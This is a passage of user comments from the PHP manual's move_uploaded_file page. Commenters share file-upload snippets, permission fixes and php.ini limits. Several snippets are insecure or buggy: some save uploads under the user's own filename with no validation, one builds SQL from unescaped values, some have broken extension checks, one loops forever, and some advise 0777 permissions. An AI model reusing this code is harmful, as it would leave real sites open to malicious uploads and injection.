$file_two = array($_FILES['file_two'],$destination); //The name will be the same that $_FILES[]['name']

if(uploadFiles($file_one,$file_two)) {
    echo "true";
} else {
    echo "false";
}
?>
chatchaw at tot dot co dot th 19-Oct-2009 12:03
When you use move_uploaded_file function to upload a file with utf-8  filename to linux system, you probably check your result by browsing to see the file in the target directory so please make sure that your terminal emulator or your samba configuration is set the character encoding to utf-8 otherwise  your file will be shown as ?????? (unreadable character).
brentwientjes at NOSPAM dot comast dot net 18-Oct-2009 12:21
I have looked at a lot of the file upload code listed below and other php documentation and have developed hopefully a robust single file upload routine.  I will later update with a multi file upload.  I have modestly tested the code.

<?php
//  5MB maximum file size
$MAXIMUM_FILESIZE = 5 * 1024 * 1024;
//  Valid file extensions (images, word, excel, powerpoint)
$rEFileTypes =
  "/^\.(jpg|jpeg|gif|png|doc|docx|txt|rtf|pdf|xls|xlsx|
        ppt|pptx){1}$/i";
$dir_base = "/your/file/location/";

$isFile = is_uploaded_file($_FILES['Filedata']['tmp_name']);
if ($isFile)    //  do we have a file?
   {//  sanatize file name
    //     - remove extra spaces/convert to _,
    //     - remove non 0-9a-Z._- characters,
    //     - remove leading/trailing spaces
    //  check if under 5MB,
    //  check file extension for legal file types
    $safe_filename = preg_replace(
                     array("/\s+/", "/[^-\.\w]+/"),
                     array("_", ""),
                     trim($_FILES['Filedata']['name']));
    if ($_FILES['Filedata']['size'] <= $MAXIMUM_FILESIZE &&
        preg_match($rEFileTypes, strrchr($safe_filename, '.')))
      {$isMove = move_uploaded_file (
                 $_FILES['Filedata']['tmp_name'],
                 $dir_base.$safe_filename);}
      }
   }
?>

I use $isFile and $isMove later in the code for error recording.

Make sure your system has the appropriate file loading limits. This caused a lot of headeaches trying to figure out why some files loaded and some did not.   In my case I have an .htaccess file in the root of the web site with:

php_value post_max_size 16M
php_value upload_max_filesize 6M

You may also need to extend the execution time depending upon the amount of data being transferred.

(sorry if spacing of code is a little off.  it was hard to make the note editor like the code style.)
dt at NOSPAM dot windsor-county dot com 25-Aug-2009 07:10
Easiest way to find the extension of an uploaded file is to use:

<?php
$extension= end(explode(".", $file['name']));
?>
Anonymous 21-Jul-2009 11:33
$file_extension = pathinfo($path, PATHINFO_EXTENSION);
omgmain at gmail dot com 30-Jan-2009 08:23
This function should run perfectly, but just in case there are errors, this should help.
1 : Check that the syntax is correct. Remember, lines end with ;
2 : Make sure that the file you're moving exists, and that the place you're writing to is...well, writable. Sometimes, for instance with mac, they make the file so that it can only be accessed by the system, and you. You need to make it available for everyone.
3 : Make sure that the file size of the file you're uploading is under the max upload size. You can change the allowed file size on the php.ini file. The default value is 2M (M as in Megabytes). Also make sure that uploading is allowed
---
If you don't have any errors, then give yourself a pat on the back. BUT, to make your script more secure, put in your file:
str_replace('.', '', $_FILES['file name']['name']);
str_replace('/', '', $_FILES['file name']['name']);
Replace file name with the file name, and you're good to go!
nuabaranda at web dot de 14-Jan-2009 01:21
When using PHP on Windows and trying to use move_uploaded_file() on a file with special non-ascii characters like german umlauts they get converted bytewise thus destroying them resulting in a wrong CP1251 Windows filename.
Johan GENNESSON (php at genjo dot fr) 08-Jan-2009 06:08
sedativchunk post a method to find the extension of the file uploaded; but if the extension is more than 3 characters it won't work :

<?php
    $file_type = 'hello.world.JPEG';
    $file_type_length = strlen($file_type) - 3;
    echo substr($file_type, $file_type_length);    //Will return PEG
?>

Instead you can use :

<?php
    echo strrchr('hello.world.JPEG', '.');    //Will return .JPEG
?>

Best regards
Johan
sedativchunk at gmail dot com 21-Dec-2008 02:13
I've been having alot of problems validating files on upload. The main problem I was having was matching up the type of file uploaded with the allowed file types, as when you use $_FILES['userfile']['type'], the variable contains the MIME type, which can change consistently from browser to browser.

A better method for simply finding the file type is to get the extension of the file by the file name. Here is an example of getting a file type and matching it to an allowed file type (then uploading it and doing some other validation):
<?php
    // Declare variables
    // Get the basic file information
    $userfile = $_FILES['userfile']['name'];
    $file_size = $_FILES['userfile']['size'];
    $file_temp = $_FILES['userfile']['tmp_name'];
    $file_err = $_FILES['userfile']['error'];
    $path = 'images/';

    // Create a new file name
    // This is so if other files on the server have the same name, it will be renamed
    $randomizer = rand(0000, 9999);
    $file_name = $randomizer.$userfile;

// Get the file type
    // Using $_FILES to get the file type is sometimes inaccurate, so we are going
    // to get the extension ourselves from the name of the file
    // This also eliminates having to worry about the MIME type
    $file_type = $userfile;
    $file_type_length = strlen($file_type) - 3;
    $file_type = substr($file_type, $file_type_length);

    if(!empty($userfile)) {
        echo '<div style="font-weight: bold; padding: 6px;">File Uploaded  Information</div>
        <ul>
        <li>Original File Name: ' .$userfile. '</li>
        <li>New File Name: ' .$file_name. '</li>
        <li>File Type: ' .$file_type.'</li>
        <li>File Size: ' .$file_size. '</li>
        <li>File Temporary Name: ' .$file_temp. '</li>
        <li>Fille Error: ' . $file_err. '</li>
        </ul>';

        // limit the size of the file to 200KB
        if($file_size > 25600) {
            echo 'FILE SIZE TO LARGE<BR />';
            exit();
        }

        // Set allowed file types
        // Set case of all letters to lower case
        $file_type = strtolower($file_type);
        $files = array();
        $files[] = 'jpeg';
        $files[] = 'jpg';
        $files[] = 'gif';
        $files[] = 'png';
        // Search the array for the allowed file type
        $key = array_search($file_type, $files);
        if($key) {
            echo '<b>File allowed!</b><br />';
        } else {
            echo '<b>ILLEGAL FILE TYPE</b><br />';
            exit();
        }

// Check for errors and upload the file
$error_count = count($file_error);
if($error_count > 0) {
        for($i = 0; $i <= $error_count; ++$i) {
            echo $_FILES['userfile']['error'][$i];
        }
} else {
        if(move_uploaded_file($file_temp, 'images/' .$file_name.'')) {
            echo '<h3>Upload Successful!</h3>';
        } else {
            echo '<h3>ERROR</h3>';
        }
}

    } else {
        echo '<h3>No file has been selected.</h3>';
    }
?>

In this script, I am looking for image types JPG, PNG, and GIF. You could easily add other types of files ex.
$files[] = "docx";
$files[] = "txt";

I am running into some trouble getting PNG's to upload properly, but this is the best method for validating the file type I believe.
Antoine 24-Nov-2008 12:44
I had exactly than" tnp at shaman dot co dot uk" : move_uploaded_file() is either asynchronous or uses some kind of virtual filesystem. But you may encounter big problems when trying to access a file just uploaded, especially is you tried to change the name.
If you have problems where the uploaded file seems unaccessible, try to use copy() instead.
Dan Delaney 13-Oct-2008 01:41
For those using PHP on Windows and IIS, you SHOULD set the "upload_tmp_dir" value in php.ini to some directory around where your websites directory is, create that directory, and then set the same permissions on it that you have set for your websites directory. Otherwise, when you upload a file and it goes into C:\WINDOWS\Temp, then you move it to your website directory, its permissions will NOT be set correctly. This will cause you problems if you then want to manipulate that file with something like ImageMagick's convert utility.
Mark Kazemier 27-Aug-2008 09:36
I have the same problem as the person two comments below me. When I use the move_uploaded_file function the permissions for the file are set to 0600. No matter what configurations you set.

I searched the internet and I found more people with the same problems, but no solutions. I set the umask of apache to 013 and still the files were set to 0600.

The copy function solves the problem. Another way to solve this problem is using the chmod function after uploading.
agan0052 at hotmail dot com 23-Aug-2008 12:22
<?php

if(isset($_FILES['uploaded'])){
$target = "galleries/".basename($_FILES['uploaded']['name']) ;
print_r($_FILES);

if(move_uploaded_file($_FILES['uploaded']['tmp_name'],$target)) echo "OK!";//$chmod o+rw galleries

}
else{
 echo "<form enctype='multipart/form-data' action='CodeTool.php' method='POST'>";
 echo "File:<input name='uploaded' type='file'/><input type='submit' value='Upload'/>";
 echo "</form>";
}

?>
Florian S. in H. an der E. [.de] 17-Aug-2008 02:02
move_uploaded_file (on my setup) always makes files 0600 ("rw- --- ---") and owned by the user running the webserver (owner AND group).
Even though the directory has a sticky bit set to the group permissions!
I couldn't find any settings to change this via php.ini or even using "umask()".

I want my regular user on the server to be able to "tar cjf" the directory .. which would fail on files totally owned by the webserver-process-user;
the "copy(from, to)" function obeys the sticky-bit though!
milan dot matejcek at seznam dot cz 04-Aug-2008 04:59
<?php
/**
     * function for upload file
     * @version 5.8.2008
     * @author Milan Matejcek
     * @param $GLOBALS        $files        -$_FILES[], array with keys error, size, type etc.
     * @param string        $dir_out    -dir, where save file without filename
     * @param string        $up_file    -regular string for MIME type
     * @param int            $max_size    -maximum size [B]
     * @param bool|string    $f_name        -true    =new automatic filename
     *                     -false    =original filename
     *                     -string    =forexample picture.jpg, you will write only 'picture'
     * @return string        -filename
     */

    function upload_file($files, $dir_out, $up_file='/', $max_size=null, $f_name=true){

        if($files['error'] == 0){

            if(preg_match("~$up_file~", $files['type'])){

                if($max_size === null){
                    $max_size    =$files['size'];
                }

                if($files['size'] > 0 && $files['size'] <= $max_size){

                    $name        =array_reverse(explode('.', $files['name']));
                    $koncovka    ='.'.strtolower($name[0]);

                    if($f_name === true){
                        $files['name']    =substr(md5(microtime()),0,6).$koncovka;
                    }elseif (is_string($f_name)){
                        $files['name']    =$f_name.$koncovka;
                    }/*
                      * }else{
                      * $files['name'] =$files['name'];
                      * }
                      */

                    $filename    =$files['name'];

                    $m    =@move_uploaded_file($files['tmp_name'], $dir_out.$files['name']);

                    if($m === false){
                        //soubor se nepodarilo nahrat
                        return array(
                            'num'    =>    4,
                            'text'    =>    'selhala move_uploaded_file'
                            );
                    }

                }else{
                    //file is big
                    return array(
                        'num'    =>    5,
                        'text'    =>    'soubor je moc velky'
                        );
                }

            }else{
                //false MIME type
                return array(
                    'num'    =>    6,
                    'text'    =>    'neodpovidajici typ souboru, kontrola na '.$up_file.' vysledek '.$files['type']
                );
            }

        }else{
            //$_File['error'] return 1
            return array(
                'num'    =>    7,
                'text'    =>    'selhalo nahrani souboru na server'
                );
        }

        return $filename;

    }
?>
jphansen at uga dot edu 26-Mar-2008 07:41
I was getting error code 1 (http://www.php.net/manual/en/features.file-upload.errors.php), indicating that the file exceeded upload_max_filesize. To fix this, run <?php ini_set("upload_max_filesize", "100M"); ?> (then restart apache) changing the second argument to your limit.
rasponline at gmail dot com 14-Jan-2008 07:43
Basic difference between Copy() and move_uploaded_file() function i have noted is that, Copy function upload the file from any source to any destination on the server!!!!
While move_uploaded_file() can moved the uploaded file from temp server location to any destination on the server!!!
iim dot vxk at gmail dot com 07-Sep-2007 02:38
when you get this 2 Warnings - paths are a real sample - ::

-
move_uploaded_file(/uploads/images/sample.png) [function.move-uploaded-file]: failed to open stream: No such file or directory in /scripts/php/system/upload-file.php on line X
-

and

-
move_uploaded_file() [function.move-uploaded-file]: Unable to move '/tmp/somefilename' to '/uploads/images/sample.png' in /scripts/php/system/upload-file.php on line X
-

probably the path '/uploads/images/sample.png' is incomplete, in my case the complet path is "/home/x-user/public_html/uploads/images/sample.png"

you can use getcwd() to know the current working directory.

:)
tnp at shaman dot co dot uk 04-Sep-2007 01:20
I may well also report this as a bug, but in the meantime I'll document what I have seen so far.

What I wanted to do, was take the uploaded temporary filename and pass it to MySql as part of a load_file  injection into a BLOB to store the file contents.
My first attempt was of an indexed array..

$filename=$_FILES[$index]["name"];
$filesize= $_FILES[$index]["size"];
$tmpname=$_FILES[$index]["tmp_name"];

followed by:-

$query=sprintf("insert into project_files set project_id='%s',current='yes',date='%s' ,user='%d', size='%d', description='%s', name='%s', content=LOAD_FILE('%s')",
                $project_id,
                date('Y-m-d'),
                $employee_id,
                $filesize,
                $filedescription,
                $filename,
                $tmpname);
mysql_query($query);

This gave me an empty content field. Zero bytes.

I took the echo $query string and applied it to MtySql interpreter. With a suitable filename it worked..well after fixing a few database perms..but no joy from PHP still.

I found this page and tried adding:-

move_uploaded_file($tmpname)"/tmp/foo");
$tmpname-"/tmp/foo";

before setting up the query.

That was worse. The browser just hung on me.

Then I tried
copy($tmpname,"/tmp/foo");
$tmpname="/tmp/foo";

That worked!?*&^

My CONJECTURE is that PHP has a meta file-system running, and the environment the program sees is NOT reflected into the OS (Debian etch, in this case) until it closes and flushes its buffers.

Copy() does in fact seem to result in a real disk write, but move_uploaded_file() does not, so when the name was passed to Mysqld, it didn't exist, or had zero content or maybe with a large file truncated content.

I can see the point of this: faster response for web browsers who get the program HTTP output over with before it settles down to its housekeeping, but in this case it's a bit of a disaster.

What is needed is a way to force the buffers to flush if that is what is going on...
bdeguire at yahoo dot com 20-Jul-2007 06:16
For Windows users: Note that your file attributes from the temporary upload folder ("upload_tmp_dir" in php.ini) are copied to the destination folder (because the file is *moved*, not copied).

I ran into a problem when using Microsoft Indexing Server. For it to work, you must activate the attribute "For fast searching,  allow Indexing Server to index this folder". However, you must not only activate this attribute on the *final* destination folder, but ALSO on the temporary upload folder. So when the file is move from the temp location to the final location, the attributes are kept.
nlgordon at iastate dot edu 16-Jul-2007 11:29
Just a helpful comment.  If you have open_basedir set then you must set upload_tmp_dir to somewhere within the open_basedir.  Otherwise the file upload will be denied.  move_uploaded_file might be open_basedir aware, but the rest of the upload process isn't.
bogusred 10-Jun-2007 01:58
If you have a directory in a *nix environment where you store all of your file uploads and your php script only seems to work when permissions for that directory are set to 777, here's how to fix it so that you can have the security benefits of 755 while still allowing your php scripts to work, including the move_uploaded_file().

through shell access, navigate to the directory that contains your uploads folder and run the following 2 commands:
chown -R nobody uploaddir
chmod -R 755 uploaddir

Replace 'uploaddir' with the name of your uploads directory. The first command changes the owner of the directory and files to 'nobody' which is what php operates under. The second changes the folder and files to only allow user access to writing. This is much more secure.

Hopefully this will help someone out there who had the same problem as me.
masahigo at gmail dot com 30-May-2007 08:49
I found a great resource concerning uploads with PHP:

http://www.radinks.com/upload/config.php

They explain and tell how to optimize PHP installation to handle large file uploads. Helped me a lot!
info at arpadh dot hu 04-May-2007 11:02
Values upload_max_filesize and post_max_size (ie. php.ini values) cannot be modified in runtime with ini_set() function.
If you are using Apache web server, use .htaccess files with an IfModule replacing values corresponding to your file size and PHP version:

<IfModule mod_php4.c>
php_value upload_max_filesize 50M
php_value post_max_size 50M
</IfModule>

- means 50MB upload limit.
booc0mtaco at gmail dot com 19-Apr-2007 08:45
Also, make sure that the setting for the post_max_size allows for a proper file size range.

post_max_size = 128M ; Expands the size of POST data for file uploads
guy at neonxero dot net 22-Mar-2007 07:47
I could be wrong, but I usualy use

$uploadext = strtolower(strrchr($imagename,"."));

to find the file extension when uploading, as opposed to explode().
13-Mar-2007 02:55
To allow bigger upload file size, edit in php.ini and change:

upload_max_filesize =350M ; Maximum allowed size for uploaded files.
post_max_size =360M ; Maximum size of POST data that PHP will accept.

max_execution_time =5000 ; Maximum execution time of each script, in seconds

In adition, you must change the server configuration as well.
For apache server, edit httpd.conf.
Harmor 06-Mar-2007 09:38
the dot only dot storm at gmail dot com wrote:
>
> In addition to the file extension checking. A simply way
> of getting the extension (regardless of size):
>
> $efilename = explode('.', $filename);
> $ext = $efilename[count($efilename) - 1];
>

How about:

$ext = end(explode('.',$filename));
dev at rising9 dot com 06-Mar-2007 05:07
Can you explain more, how i can change the max memory size varible for the large file can work with move_uploaded_file()?
Thanks a lot!
03-Feb-2007 07:32
If you find that large files do not upload in PHP even though you've changed the max_upload_size , this is because you need to change the max memory size varible too. The entire file is loaded into memory before it is saved to disk.
Nibinaear 01-Nov-2006 02:49
If you want to change the filename used by the user then use this code (static name). This example uploads a pdf magazine to a website and always overwrites the file that is there. Use if you are dealing with a small number of files or people who know what they're doing!

<?php
  if(!empty($_FILES["magfile"]))
  {
    $uploaddir = $_SERVER['DOCUMENT_ROOT']."/dainsider/magazines/";
    $uploaddir.="magazine.pdf";

    //Copy the file to some permanent location
    if(move_uploaded_file($_FILES["magfile"]["tmp_name"], $uploaddir))
    {
      echo "Magazine Updated!";
    }
    else
    {
      echo "There was a problem when uploding the new file, please contact ".$admin_email." about this.";
      print_r($_FILES);
    }
  }
?>
shacker at birdhouse dot org 10-Sep-2006 12:28
If you're dealing with files uploaded through some external FTP source and need to move them to a final destination, searching php.net for "mv" or "move" won't get you what you want. You want the rename() function.

http://www.php.net/manual/en/function.rename.php

(move_uploaded_file() won't work, since the POST vars won't be present.)
Rob Szarka 22-Aug-2006 06:18
Apparently the warning above might better be written "If the destination file already exists, it will be overwritten ... regardless of the destination file's permissions."

In other words, move_uploaded_file() executes as if it's root, not the user under which the web server is operating or the owner of the script that's executing.
sergeygrinev at mail dot ru 20-Apr-2006 02:04
small typo:

$fulldest = $dest.$newfilename;

show be

$fulldest = $dest.$filename;

or you would have infinite loop.
Zarel 13-Apr-2006 06:12
nouncad at mayetlite dot com posted a function that uploaded a file, and would rename it if it already existed, to filename[n].ext

It only worked for files with extensions exactly three letters long, so I fixed that (and made a few other improvements while I was at it).

<?php
// Usage: uploadfile($_FILE['file']['name'],'temp/',$_FILE['file']['tmp_name'])
function uploadfile($origin, $dest, $tmp_name)
{
  $origin = strtolower(basename($origin));
  $fulldest = $dest.$origin;
  $filename = $origin;
  for ($i=1; file_exists($fulldest); $i++)
  {
    $fileext = (strpos($origin,'.')===false?'':'.'.substr(strrchr($origin, "."), 1));
    $filename = substr($origin, 0, strlen($origin)-strlen($fileext)).'['.$i.']'.$fileext;
    $fulldest = $dest.$newfilename;
  }

  if (move_uploaded_file($tmp_name, $fulldest))
    return $filename;
  return false;
}
?>
jessy dot diamondman at gmail dot com 05-Apr-2006 09:29
I am pretty new, and am having upload problems myself, but I think I can help out ffproberen2 at dodgeit dot com with his premission denied errors. I had these two, and I had to change the upload directory, not the tmp_upload_dir or what ever it is called. The move_uploaded_file meathod takes an upload location as the last parameter. I am running a bundled package of Apache, Php, mySQL and so on, and on mine, specifing a directory of '' will upload it into C:\Program Files\xampp\apache (my PC is my experimental server, I will get linux, but got to obtain it and internet cuts off after 196mb so can't download it) even though php file is in C:\Program Files\xampp\htdocs\xampp\jessyexum\upload_client.php.

This is a code that I found and then modified, hope it can help. It dosn't always upload every file type giving me an error #2.

<?php
$uploaddir = '';
$uploadfile = $uploaddir . basename($_FILES['upfile']['name']);
echo '<pre>';
if (move_uploaded_file($_FILES['upfile']['tmp_name'], $uploadfile)) {
   echo "File is valid, and was successfully uploaded.\n";
} else {
   echo "Possible file upload attack!\n";
}
echo 'Here is some more debugging info:';
print_r($_FILES);
print "</pre>";
?>
ffproberen2 at dodgeit dot com 05-Apr-2006 03:02
On windows I made the directory writable, by changing the Apache httpd.conf file.

The problem I had, was with the upload directory. The move_uploaded_file produced an error like: failed to open stream: Permission denied.

I changed my php.ini to specify an upload directory:
  upload_tmp_dir = "d:/temp/php/uploads/"

and I added the following in the Apache hpptd.conf file:

  <Directory "D:/temp/php/uploads">
    Options None
    AllowOverride None
    Order allow,deny
    Allow from all
  </Directory>

restarted Apache, and the upload succeeded.
j dot m dot thomas at NOSPAM dot blueyonder dot co dot uk 16-Feb-2006 12:26
To retrieve the file extension, and various other information about the path, it is easiest to use the pathinfo function.

<?php
$path_parts = pathinfo('/www/htdocs/index.html');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
?>

Would produce:

/www/htdocs
index.html
html

http://uk.php.net/manual/en/function.pathinfo.php
adam at darkhousemedia dot com 02-Feb-2006 10:35
To retrieve the file extension, I think this example makes more sense than the one below.

$ext = explode(".", $file);
$ext = array_pop($ext);

It doesn't have to count() the array and then subtract 1 to point to the proper array element, it simply isolates the last element of the array, and discards everything else.
calamitoso at gmail dot com 31-Jan-2006 11:10
to separate (for example) images from other file types among the uploaded files you can check the MIME type also (thus making the file extension check unnecessary)

$temp = strpos($_FILES["pic"]["type"], "image");
if ($rep===FALSE){
   //the strpos function will return a boolean "false" ONLY if the needle string is not found within the haystack
   echo "is not an image";
}else{
   echo "is an image";
}
mancow at macfilez dot net 09-Jan-2006 09:31
To nouncad at mayetlite dot com,

That function will work fine for files with a 3-character file extension.  However, it is worth noting that there are valid, registered file extensions that are longer than 3 characters.  For example, a JPEG file can be denoted by *.jpg (and others), but it can also have *.jpeg as a valid extension.  Check out http://www.filext.com/ for a good reference of file extensions.

The best bet to me would be parsing the uploaded file's name ($_FILES['uploadedfile']['name']) based on the presence of dots.  Another wrench in the gears:  a file can have dots in the filename.  That's easy enough to handle -- just explode() the file name and hope that the last element in the array it gives you is the file extension (you can always validate it if you're so inclined).  Then just piece it together in a string accordingly by stepping through the array (don't forget to add those dots back to where they were!), appending a guaranteed unique string of characters (or enumerate it like you were doing, keeping track via a loop), and finally tacking on the file extension.

You may have other mechanisms for verifying a file's extension, such as a preg_match on the whole name, using something like "/\\.(gif|jpg|jpeg|png|bmp)$/i" (more can, of course, be added if you so desire) for the most common types of images found on the web.

For blindly guaranteeing an uploaded file will be uniquely named, this seems like a fantastic way to go.  Enjoy!
AT-HE (at_he AT hotm4il DOT com) 15-Dec-2005 10:28
---------
Note that post_max_size also needs to be considered, by default it is 8M. I raised my upload_max_filesize to 20M and was wondering why 10M uploads weren't working...

r: It could be because of your max execution time.
----------

try changing the value of both post_max_size and upload_max_filesize
nouncad at mayetlite dot com 14-Dec-2005 05:30
Great!! my first note here...

This function upload a file.
If file exist, create a copy as "filename[n].ext"

<?php
function subirFichero($origen, $destinoDir, $ftemporal) {
    $origen = strtolower(basename($origen));

    $destinoFull = $destinoDir.$origen;
    $frand = $origen;
    $i = 1;

    while (file_exists( $destinoFull )) {
        $file_name         = substr($origen, 0, strlen($origen)-4);
        $file_extension  = substr($origen, strlen($origen)-4, strlen($origen));
        $frand = $file_name."[$i]".$file_extension;
        $destinoFull = $destinoDir.$frand;
        $i++;
    }

    if (move_uploaded_file($ftemporal, $destinoFull))    return $frand;
    else                                                 return "0";
}
?>
ineedmynetwork.com 07-Nov-2005 01:27
Microsoft returns image/pjpeg not image/jpg when using $_FILES['imageName']['type'];
albert 07-Nov-2005 12:44
move_uploaded_file()'s return codes are not allways obious !

Unable to move '/var/tmp/phpuuAVJv' to '/home/me/website.com/upload/images/hello.png'

will apear if your disk is full, or the webserver (www user) exeeded it's disk qouta. (probably some others)

i dont know if its a bug (just not iplemented) or a feature (to hide from 3rd parties details about the system or about the specific error) ?

it happend to me that after several months of successful operation, the disk filled up and qouta exeeded.

it took me long time, finding out why all the sudden my scripts didnt work properly anymore.
04-Nov-2005 03:56
[quote]
Note that post_max_size also needs to be considered, by default it is 8M. I raised my upload_max_filesize to 20M and was wondering why 10M uploads weren't working...
[/quote]

It could be because of your max execution time.
28-Oct-2005 08:44
Note that post_max_size also needs to be considered, by default it is 8M. I raised my upload_max_filesize to 20M and was wondering why 10M uploads weren't working...
jest3r at mtonic dot net 19-Oct-2005 09:10
It seems that move_uploaded_file use the GROUP permissions of the parent directory of the tmp file location, whereas a simple "copy" uses the group of the apache process. This could create a security nighmare if your tmp file location is owned by root:wheel
mikelone 06-Sep-2005 08:46
If the user try to upload a too bigger file then the upload procedure will fail even if u have established an error message.
How to avoid this problem? there's my solution:

(max_file_size = 2,50 MB)

$fsize = $_FILES["userfile"]["size"];

if($fsize == 0 || $fsize > 2621000) exit("keep the filesize under 2,50MB!!");

When the size is bigger than the MAX_FILE_SIZE field, the value of $fsize is equal to 0 (zero) ......
espiao at gmail dot com 27-Jul-2005 07:25
/**
 * This function moves the archives and directoryes of a directory of
 * origin for a directory destination being able replace them or not.
 **/

function mvdir($oldDir, $newDir, $replaceFiles = true) {

    if ($oldDir == $newDir) {
        trigger_error("Destination directory is equal of origin.");
        return false;
    }

    if (!($tmpDir = opendir($oldDir))) {
        trigger_error("It was not possible to open origin directory.");
        return false;
    }

    if (!is_dir($newDir)) {
        trigger_error("It was not possible to open destination directory.");
        return false;
    }

    while (($file = readdir($tmpDir)) !== false) {

        if (($file != ".") && ($file !== "..")) {

            $oldFileWithDir = $oldDir . $file;
            $newFileWithDir = $newDir . $file;

            if (is_dir($oldFileWithDir)) {

                @mkdir($newFileWithDir."/", 0777);
                @mvdir($oldFileWithDir."/", $newFileWithDir."/", $replaceFiles);
                @rmdir($oldFileWithDir);

            }
            else {
                if (file_exists($newFileWithDir)) {
                    if (!$replaceFiles) {

                        @unlink($oldFileWithDir);
                        continue;

                    }
                }

                @unlink($newFileWithDir);
                @copy($oldFileWithDir, $newFileWithDir);
                @chmod($newFileWithDir, 0777);
                @unlink($oldFileWithDir);

            }
        }
    }

    return true;

}

/**
 * This is an example of move with replace files on destination folder if
 * exists files with the same names on destionatio folder
 **/
mvdir("/var/www/example/", "/var/www/other_folder/");

/**
 * This is an example of move without replace files on destination
 * folder if  exists files with the same names on destionatio folder
 **/
mvdir("/var/www/example/", "/var/www/other_folder/", false);
Darrell 18-May-2005 02:51
move_uploaded_file apparently uses the root of the Apache installation (e.g. "Apache Group\Apache2" under Windows) as the upload location if relative pathnames are used.

For example,
$ftmp = $_FILES['userfile']['tmp_name'];
$fname = $_FILES['userfile']['name'];
move_uploaded_file($ftmp, $fname);

moves the file to
"Apache Group\Apache2\$fname";

In contrast, other file/directory related functions use the current directory of the php script as the offset for relative pathnames.  So, for example, if the command

mkdir('tmp');

is called from 'Apache Group\Apache2\htdocs\testpages\upload.php', the result is to create
'Apache Group\Apache2\htdocs\testpages\tmp'

On the other hand, if 'mkdir' is called just before 'move_uploaded_file', the behavior changes.  The commands,

mkdir('tmp');
move_uploaded_file($ftmp, $fname);

used together result in

"Apache Group\Apache2\htdocs\testpages\tmp\$fname"

being created.  Wonder if this is a bug or a feature.

Darrell
andrew@euperia,com 04-Apr-2005 02:29
Instead of using chdir or chmod 0777 a safer alternative to move_uploaded_files is to use PHP's ftp functions to move the file into a web dir.

1. Make ftp connection to 127.0.0.1 with the correct username and password.
2. ftp_chdir to the required directory.
3. ftp_put ($_FILES['myfile']['tmp_name'], $finalfilename);
4. ftp quit.
richardNO at SPAMbesite dot nl 11-Mar-2005 04:32
Creating the dir with mkdir from php is a security risk too. Everyone who can run a php script on the server can write a script to mess with the dir.
user at php dot net 01-Mar-2005 02:54
Giving the directory 777 permission is not a good idea for security reasons, it would be better to create the directory using "mkdir()".

That will make php user (usually "nobody") the owner of the directory, and permissions will not be a problem.
Michel S 16-Feb-2005 09:41
I once had a problem with this function. File was uploaded correctly, but I still had to chmod the file afterwards. It could not be used otherwise.

Michel S
allan666 at NOSPAM dot gmail dot com 16-Dec-2004 10:35
On the Fedora Core 3 Linux distribution, you may get a "failed to open stream: Permission denied in ..." message. I fact changing the permission of the directory will not work (even if you set to 0777). It is because of the new SELinux kernel that allow apache user to write only in /tmp dir (I think). In order to solve the problem you must to disable the SELinux (at least for apache service) to allow the server to write in other directories. To do that, run the system-config-securitylevel app and disable the SE to apache service. Reboot your system and continue your work. Hope it helps!
php at f00n dot com 04-Jul-2004 01:17
If you are building an intranet framework and use NAT/Routing heed the following advice.

If you want to move uploaded files to an FTP server you cannot use the ftp wrapper (ie. 'ftp://user:pass@ftpserver/') as part of your move_uploaded_file() action.  This is due to the wrapper only using passive mode with ftp.

The only workaround is using the ftp functions (may not be compiled by default with *nix but is by default with windows).
froid_nordik at sympatico dot ca 04-Jun-2004 09:26
Make sure the directory you are moving the file to exists before using this command.
sauron at nospam on morannon dot org 08-Mar-2004 05:20
An extension only does not really tell you what type of file it really is. I can easily rename a .jpg file to a .zip file and make the server think it is a ZIP file with webmaster kobrasrealm's code.

A better way is to use the Linux utility "file" to determine the file type. Although I'm aware that some users might use Windows on their webservers, I thought it's worth  mentioning the utility here. Using the backtick operators and preg_matches on the output, you can easily determine the file type safely, and fix the extension when necessary.
mail at johan dot it 28-Feb-2004 02:14
Warning: If you save a md5_file hash in a database to keep record of uploaded files, which is usefull to prevent users from uploading the same file twice, be aware that after using move_uploaded_file the md5_file hash changes! And you are unable to find the corresponding hash and delete it in the database, when a file is deleted.
mina86 at tlen dot pl 07-Dec-2003 03:03
Hey! Why not using strrchr() to get file  extension:
<?php $ext = strrchr($_FILES['file']['name'], '.'); ?>
or to get it without '.' at the begining:
<?php $ext = substr(strrchr($_FILES['file']['name'], '.'), 1); ?>

If you want to update file without any strang characters you can use:
<?php
move_uploaded_file(
  $_FILES["file"]["tmp_name"],
  $dir . preg_replace('/[^a-z0-9_\-\.]/i', '_', $_FILES["file"]["name"])
);
?>
wolke74 at web dot de 18-Nov-2003 09:02
French and English filenames --- as it is not forbidden -- often have an apostrophy, for instance "That's advertisement paper.doc" or "Les aventures d'Alice dans le pays du miracle.doc". However, uploading such files can run into trouble.

So you can write, if the posted file had been marked by myfile .

if(!move_uploaded_file($_FILES["myfile"]["tmp_name"],
rawurlencode($mydir.$_FILES["myfile"]["name"]))
{
     echo "Something is wrong with the file";
      exit;
}
08-Nov-2003 07:54
The example to find file extension bellow is quite confusing and its using to much code for a much simpler solution. Which is in example:

$file_parts = pathinfo('dir/' . $_FILES['file']['name']);
$file_extension = strtolower($file_parts['extension']);

The 'dir/' part is only to get a valid path.
mkdir
parse_ini_file
Filesystem Functions


Parse a configuration file

move_uploaded_file
parse_ini_string
Filesystem Functions
PHP Manual

parse_ini_file

(PHP 4, PHP 5)

parse_ini_file — Parse a configuration file

Description

array parse_ini_file ( string $filename [, bool $process_sections = false [, int $scanner_mode = INI_SCANNER_NORMAL ]] )

parse_ini_file() loads in the ini file specified in filename, and returns the settings in it in an associative array.

The structure of the ini file is the same as the php.ini's.

Parameters

filename

The filename of the ini file being parsed.

process_sections

By setting the process_sections parameter to TRUE, you get a multidimensional array, with the section names and settings included. The default for process_sections is FALSE

scanner_mode

Can either be INI_SCANNER_NORMAL (default) or INI_SCANNER_RAW. If INI_SCANNER_RAW is supplied, then option values will not be parsed.

Return Values

The settings are returned as an associative array on success, and FALSE on failure.

Changelog

Version | Description
5.3.0 | Added optional scanner_mode parameter. Single quotes may now be used around variable assignments. Hash marks (#) may no longer be used as comments and will throw a deprecation warning if used.
5.2.7 | On syntax error this function will return FALSE rather than an empty array.
5.2.4 | Keys and section names consisting of numbers are now evaluated as PHP integers thus numbers starting by 0 are evaluated as octals and numbers starting by 0x are evaluated as hexadecimals.
5.0.0 | Values enclosed in double quotes can contain new lines.
4.2.1 | This function is now affected by safe mode and open_basedir.

Examples

Example #1 Contents of sample.ini

